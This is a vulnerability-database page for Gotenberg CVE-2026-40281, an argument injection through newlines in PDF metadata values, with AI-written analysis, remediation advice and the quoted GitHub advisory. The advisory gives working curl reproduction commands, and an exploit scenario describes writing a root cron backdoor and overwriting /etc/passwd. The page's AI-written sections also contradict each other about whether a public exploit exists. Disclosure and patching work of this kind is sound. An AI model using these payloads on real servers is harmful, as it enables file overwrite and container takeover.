Skip to main content

Gotenberg CVE-2026-40281

CRITICAL
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (CWE-88)
2026-04-30 https://github.com/gotenberg/gotenberg GHSA-q7r4-hc83-hf2q
10.0
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Send HTTP POST to /forms/pdfengines/metadata/write
  2. Delivery
    Embed newline in metadata JSON value
  3. Exploit
    Inject ExifTool pseudo-tag argument
  4. Install
    Execute file operation (move/symlink/hardlink)
  5. C2
    Overwrite system file or create access primitive
  6. Execute
    Achieve persistence or privilege escalation
  7. Impact
    Full container compromise

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
Exploitation Conditions

No special conditions - remote unauthenticated exploitation against default configurations of Gotenberg versions ≤8.30.1. Attack succeeds when the /forms/pdfengines/metadata/write endpoint is network-accessible, which is the default deployment mode for Gotenberg Docker containers listening on port 3000. CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N confirms zero prerequisites: Network attack vector means exploitation from any network location, Low attack complexity means no timing windows or race conditions, None for Privileges Required confirms unauthenticated access, None for User Interaction means fully automated exploitation. The only deployment-specific limiting factor is network reachability - organizations running Gotenberg behind authentication gateways, VPNs, or internal-only network segments reduce exposure to authorized users or compromised internal systems. Default Docker containers run as root (UID 0), amplifying filesystem manipulation impact; running with --user flag to drop privileges limits but does not eliminate risk, as symlink creation and temp directory manipulation remain viable. The vulnerability works identically whether Gotenberg is deployed standalone, in Kubernetes, or via docker-compose, as the attack targets the application logic rather than container orchestration. Changed scope (S:C) in CVSS vector indicates potential to escape resource boundaries, relevant for multi-tenant environments where Gotenberg processes untrusted documents.

Impact

CVSS 10.0 (Critical) accurately reflects the technical severity: network-accessible (AV:N), trivial to exploit with no authentication (PR:N/AC:L), no user interaction (UI:N), and scope change (S:C) indicating potential container breakout. However, real-world risk depends heavily on deployment context. The attack requires the Gotenberg metadata write endpoint to be network-accessible, which may not be the case in architectures where Gotenberg runs as an internal microservice behind authentication layers. EPSS data not provided, but the detailed reproduction steps in the GitHub advisory (GHSA-q7r4-hc83-hf2q) effectively serve as a public proof-of-concept, lowering the bar for weaponization. No CISA KEV listing indicates no confirmed active exploitation as of analysis date, suggesting this is a newly disclosed vulnerability (CVE-2026 suggests future assignment or typo; verify actual CVE ID). SSVC decision factors: Exploitation Status = POC (public reproduction exists), Automatable = YES (HTTP API exploitation requires no human interaction), Technical Impact = TOTAL (arbitrary file write as root enables full container compromise). Primary risk: organizations exposing Gotenberg directly to untrusted networks without authentication face immediate RCE risk. Secondary risk: even internal deployments face lateral movement scenarios if other services can reach the endpoint. The vulnerability being a bypass of a previous incomplete fix (v8.30.1) suggests the development team underestimated the attack surface - defenders should verify the completeness of the v8.31.0 fix before deploying. Key conflict requiring verification: CVE ID CVE-2026-40281 appears anachronistic (2026 prefix) - confirm this is not a placeholder or reporting error, as it affects tracking in vulnerability databases.

Exploit ScenarioDerived

An attacker crafts an HTTP POST request to the Gotenberg /forms/pdfengines/metadata/write endpoint containing a PDF file and a metadata JSON payload with Title value set to 'benign\n-FileName=/etc/cron.d/backdoor'. The embedded newline splits the ExifTool stdin into two arguments: the first sets Title normally, the second moves the uploaded PDF to /etc/cron.d/backdoor, creating a persistent cron job that executes every minute with root privileges inside the container. From there, the attacker establishes command-and-control by embedding reverse shell commands in the cron job, achieving full container compromise. Alternatively, using -SymLink=/app/config.json creates a symlink that future API calls can leverage to read sensitive configuration files. Public proof-of-concept exists in GitHub advisory GHSA-q7r4-hc83-hf2q with full Docker reproduction steps.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 30, 2026

Argument injection in Gotenberg v8.30.1 and earlier allows unauthenticated remote attackers to manipulate filesystem operations by embedding newline characters in PDF metadata values. The vulnerability bypasses an incomplete fix from v8.30.1 that sanitized only metadata keys while leaving values unvalidated, enabling injection of ExifTool pseudo-tags like -FileName, -Directory, -SymLink, and -HardLink through the /forms/pdfengines/metadata/write endpoint. Attackers can move files to arbitrary paths (including overwriting /etc/passwd), create symlinks for read/write primitives, and persist data via hard links - all without authentication against default configurations. Vendor-released patch: version 8.31.0. CVSS 10.0 severity reflects the network attack vector (AV:N), no authentication requirement (PR:N), low complexity (AC:L), and scope change (S:C) enabling container escape scenarios. No public exploit identified at time of analysis, though complete PoC reproduction steps are documented in GitHub advisory GHSA-q7r4-hc83-hf2q.

RemediationAI

Upgrade immediately to Gotenberg v8.31.0, which implements comprehensive metadata sanitization that strips control characters and line breaks from all metadata values and blocks System:-prefixed tags to prevent argument smuggling (https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0). The fix validates both keys and values using control character rejection, addressing the incomplete v8.30.1 patch. For environments unable to upgrade immediately: (1) Block external access to the /forms/pdfengines/metadata/write endpoint using reverse proxy rules or firewall policies - this eliminates network attack vector but breaks legitimate metadata write functionality for external clients; (2) Deploy a web application firewall with custom rules rejecting JSON payloads containing \n, \r, or \x00 in metadata field values - note this may cause false positives if legitimate metadata includes encoded newlines; (3) Run Gotenberg containers with read-only root filesystem and dedicated writable volumes for /tmp only using Docker --read-only and --tmpfs flags - this limits file overwrite impact but does not prevent symlink creation or denial-of-service via temp directory filling. Compensating controls trade functionality for security: blocking the endpoint breaks the metadata write feature entirely, WAF rules may interfere with legitimate use cases, and read-only filesystems require careful volume mapping. Organizations using Gotenberg as an internal microservice should audit all network paths that can reach the service, as the PR:N (unauthenticated) vector means any network-adjacent component can exploit this. Verify the v8.31.0 fix by testing with the reproduction curl commands from GHSA-q7r4-hc83-hf2q advisory; payloads with embedded newlines should now return validation errors instead of HTTP 404.

Affected Packages

go github.com/gotenberg/gotenberg/v7 no fix
go github.com/gotenberg/gotenberg/v8 fix: 8.31.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gotenberg is a Docker-based API service for converting HTML, Markdown, and Office documents to PDF format using Chromium and LibreOffice backends. The vulnerability resides in the ExifTool metadata write module (pkg/modules/exiftool/exiftool.go), which delegates to the third-party go-exiftool library (barasher/go-exiftool). ExifTool is a Perl-based command-line tool that reads and writes file metadata; go-exiftool communicates with it via stdin using a line-based protocol. The WriteMetadata function constructs command arguments using fmt.Fprintln(e.stdin, "-"+k+"="+str), which interprets newline characters as command delimiters. Version 8.30.1 (commit 405f106) introduced safeKeyPattern regex validation for metadata keys to prevent injection of dangerous pseudo-tags, but failed to sanitize values, creating a classic second-order injection vector. CWE-88 (Improper Neutralization of Argument Delimiters) is the root cause class, manifesting here through the newline delimiter splitting stdin into multiple ExifTool arguments. The vulnerability specifically targets the Go package github.com/gotenberg/gotenberg/v8 per the CPE identifier. Default Docker deployments run the container as root, amplifying the impact of filesystem manipulation operations.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
SUSE CRITICAL

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
None
Integrity
High
Availability
High

DescriptionGitHub Advisory

Vulnerability Details

CWE: CWE-20 - Improper Input Validation

The metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, "-"+k+"="+str). A newline (\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1.

Summary

The metadata write endpoint in v8.30.1 validates metadata keys for control characters (commit 405f106) but leaves metadata values unsanitized. go-exiftool's WriteMetadata sends each key/value pair to ExifTool's stdin as:

fmt.Fprintln(e.stdin, "-"+k+"="+str)

A \n character in str splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of -FileName, -Directory, -SymLink, -HardLink, and other dangerous pseudo-tags - the exact tags the key blocklist was designed to prevent.

Root Cause

pkg/modules/exiftool/exiftool.go - WriteMetadata() function:

go
// KEY validation added in v8.30.1 (commit 405f106)
for key := range metadata {
    if !safeKeyPattern.MatchString(key) {  // ← only keys checked
        return fmt.Errorf(...)
    }
}

// VALUE passed through unsanitized:
case string:
    fileMetadata[0].SetString(key, val)  // ← val may contain \n

go-exiftool (barasher/go-exiftool) then writes:

go
fmt.Fprintln(e.stdin, "-"+k+"="+str)
// If str = "test\n-FileName=/tmp/inject_proof"
// ExifTool receives two lines:
//   -Title=test
//   -FileName=/tmp/inject_proof

Steps to Reproduce

1. Start Gotenberg:
   docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8

2. Create a test PDF:
   curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
     -o test.pdf http://localhost:3001/forms/chromium/convert/html \
     <<< '<html><body>test</body></html>'

3. Inject -FileName via value newline:
   curl -s -w "\nHTTP %{http_code}" \
     -F 'files=@test.pdf;type=application/pdf' \
     -F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
     http://localhost:3001/forms/pdfengines/metadata/write
# Returns HTTP 404 (file moved away from temp path)

4. Verify injection inside container:
   docker exec gotenberg-test ls -la /tmp/inject_proof
# -rw-r--r-- 1 root root ... /tmp/inject_proof  (PDF moved here)

5. Symlink injection:
   curl -s -w "\nHTTP %{http_code}" \
     -F 'files=@test.pdf;type=application/pdf' \
     -F 'metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}' \
     http://localhost:3001/forms/pdfengines/metadata/write
   docker exec gotenberg-test ls -la /tmp/sym_inject
# lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf

Impact

An unauthenticated attacker can:

  1. Rename/move any PDF being processed to an arbitrary path in the container filesystem (running as root by default)
  2. Overwrite arbitrary files - e.g., -Directory=/etc/ -FileName=passwd injects two lines, moving the PDF to /etc/passwd, corrupting the system user database
  3. Create symlinks at arbitrary paths via -SymLink=, enabling subsequent read/write primitives
  4. Create hard links via -HardLink=, persisting data beyond temp directory cleanup

This is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the = sign.

Proposed Fix

Add value sanitization parallel to the existing key check in WriteMetadata:

go
for key, value := range metadata {
    if !safeKeyPattern.MatchString(key) {
        return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)
    }
    if str, ok := value.(string); ok {
        if strings.ContainsAny(str, "\n\r\x00") {
            return fmt.Errorf("write PDF metadata with ExifTool: invalid value for key %q (contains control character)", key)
        }
    }
}

Or, apply the same safeKeyPattern logic to string values, or percent-encode newlines before passing to go-exiftool.

Vulnerable Code

go
// See description for details

Steps to Reproduce

  1. Set up the application using the default configuration
  2. See the vulnerability details above

Impact

This vulnerability may allow an attacker to compromise the application.

Executive ViewAI

Why It Matters

Gotenberg v8.30.1 and earlier contain a critical argument injection vulnerability (CVSS 10.0) that allows unauthenticated attackers to manipulate filesystem operations and move or overwrite arbitrary files, including system-critical files like /etc/passwd, through the PDF metadata write endpoint. Organizations running affected versions face immediate risk of unauthorized file modification, data exfiltration, and potential container escape, with no authentication required for exploitation.

Business Impact: Severe
Compensating Controls

Vendor-released patch: version 8.31.0. Until patching is complete: restrict network access to the /forms/pdfengines/metadata/write endpoint via firewall or WAF rules; disable the metadata write functionality if not operationally required; run Gotenberg in a restricted container with read-only filesystem and limited capabilities; monitor filesystem operations for suspicious file creation/modification in sensitive directories.

Threat Intelligence Overview

EPSS Score
0.1%
Top 75% exploitable
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

70
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)GitHub Advisory

pkg:go/github.com_gotenberg_gotenberg_v8

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy